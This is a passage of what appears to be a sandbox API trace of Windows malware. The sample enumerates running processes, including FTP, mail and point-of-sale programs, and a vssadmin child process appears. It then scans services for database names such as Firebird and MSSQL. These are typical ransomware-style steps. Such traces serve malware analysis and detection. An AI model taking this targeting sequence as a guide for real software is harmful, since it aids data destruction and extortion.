(lpString="confidentiality-lookup-going.exe") returned 32 [0059.841] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0059.842] lstrlenW (lpString="widespread.exe") returned 14 [0059.842] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0059.843] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0059.843] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0059.844] lstrlenW (lpString="zinc.exe") returned 8 [0059.844] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0059.845] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0059.845] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0059.846] lstrlenW (lpString="construction_rice.exe") returned 21 [0059.846] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0059.847] lstrlenW (lpString="mask.exe") returned 8 [0059.847] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0059.848] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0059.848] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0059.849] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0059.849] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0059.850] lstrlenW (lpString="curve standing.exe") returned 18 [0059.850] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0059.851] lstrlenW (lpString="3dftp.exe") returned 9 [0059.851] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0060.146] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0060.146] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0060.147] lstrlenW (lpString="alftp.exe") returned 9 [0060.147] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0060.148] lstrlenW (lpString="barca.exe") returned 9 [0060.148] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0060.149] lstrlenW (lpString="bitkinex.exe") returned 12 [0060.149] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0060.150] lstrlenW (lpString="coreftp.exe") returned 11 [0060.150] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0060.151] lstrlenW (lpString="far.exe") returned 7 [0060.151] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0060.152] lstrlenW (lpString="filezilla.exe") returned 13 [0060.152] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0060.153] lstrlenW (lpString="flashfxp.exe") returned 12 [0060.153] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0060.154] lstrlenW (lpString="fling.exe") returned 9 [0060.154] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0060.155] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0060.155] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0060.156] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0060.156] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0060.156] lstrlenW (lpString="icq.exe") returned 7 [0060.157] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0060.158] lstrlenW (lpString="leechftp.exe") returned 12 [0060.158] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0060.159] lstrlenW (lpString="ncftp.exe") returned 9 [0060.160] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0060.161] lstrlenW (lpString="notepad.exe") returned 11 [0060.161] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0060.163] lstrlenW (lpString="operamail.exe") returned 13 [0060.163] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0060.164] lstrlenW (lpString="pidgin.exe") returned 10 [0060.164] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0060.166] lstrlenW (lpString="scriptftp.exe") returned 13 [0060.166] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0060.167] lstrlenW (lpString="skype.exe") returned 9 [0060.167] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0060.169] lstrlenW (lpString="smartftp.exe") returned 12 [0060.169] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0060.171] lstrlenW (lpString="thunderbird.exe") returned 15 [0060.171] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0060.172] lstrlenW (lpString="totalcmd.exe") returned 12 [0060.172] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0060.174] lstrlenW (lpString="trillian.exe") returned 12 [0060.174] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0060.175] lstrlenW (lpString="webdrive.exe") returned 12 [0060.175] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0060.177] lstrlenW (lpString="whatsapp.exe") returned 12 [0060.177] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0060.178] lstrlenW (lpString="winscp.exe") returned 10 [0060.178] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0060.179] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0060.180] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0060.181] lstrlenW (lpString="active-charge.exe") returned 17 [0060.181] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0060.182] lstrlenW (lpString="accupos.exe") returned 11 [0060.182] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0060.574] lstrlenW (lpString="afr38.exe") returned 9 [0060.574] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0060.576] lstrlenW (lpString="aldelo.exe") returned 10 [0060.576] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0060.577] lstrlenW (lpString="ccv_server.exe") returned 14 [0060.578] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0060.579] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0060.579] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0060.581] lstrlenW (lpString="creditservice.exe") returned 17 [0060.581] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0060.582] lstrlenW (lpString="edcsvr.exe") returned 10 [0060.582] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0060.583] lstrlenW (lpString="fpos.exe") returned 8 [0060.584] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0060.585] lstrlenW (lpString="isspos.exe") returned 10 [0060.585] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0060.587] lstrlenW (lpString="mxslipstream.exe") returned 16 [0060.587] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0060.588] lstrlenW (lpString="omnipos.exe") returned 11 [0060.588] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0060.590] lstrlenW (lpString="spcwin.exe") returned 10 [0060.590] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0060.591] lstrlenW (lpString="spgagentservice.exe") returned 19 [0060.591] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0060.622] lstrlenW (lpString="utg2.exe") returned 8 [0060.622] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0060.625] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0060.625] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0060.626] lstrlenW (lpString="increases.exe") returned 13 [0060.626] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.627] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.627] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.629] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.629] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0060.630] lstrlenW (lpString="driver.exe") returned 10 [0060.630] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.631] lstrlenW (lpString="cmd.exe") returned 7 [0060.631] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.632] lstrlenW (lpString="conhost.exe") returned 11 [0060.632] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.633] lstrlenW (lpString="vssadmin.exe") returned 12 [0060.633] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0060.635] lstrlenW (lpString="VSSVC.exe") returned 9 [0060.635] Process32NextW (in: hSnapshot=0x208, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0060.636] CloseHandle (hObject=0x208) returned 1 [0060.856] Sleep (dwMilliseconds=0x1f4) [0061.947] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0638 [0062.005] EnumServicesStatusExW (in: hSCManager=0x35f0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0062.006] GetLastError () returned 0xea [0062.006] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x142e) returned 0x3fb5888 [0062.006] EnumServicesStatusExW (in: hSCManager=0x35f0638, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fb5888, cbBufSize=0x142e, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fb5888, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0062.007] CloseServiceHandle (hSCObject=0x35f0638) returned 1 [0062.007] lstrlenW (lpString="Appinfo") returned 7 [0062.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0062.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0062.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0062.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0062.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0062.008] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0062.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.008] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0062.008] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0062.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0062.008] lstrlenW (lpString="AudioSrv") returned 8 [0062.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0062.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0062.008] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0062.008] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0062.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0062.008] lstrlenW (lpString="BFE") returned 3 [0062.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0062.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0062.008] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0062.008] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0062.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0062.008] lstrlenW (lpString="CryptSvc") returned 8 [0062.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0062.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0062.009] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0062.009] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0062.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0062.009] lstrlenW (lpString="CscService") returned 10 [0062.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0062.009] lstrcmpiW 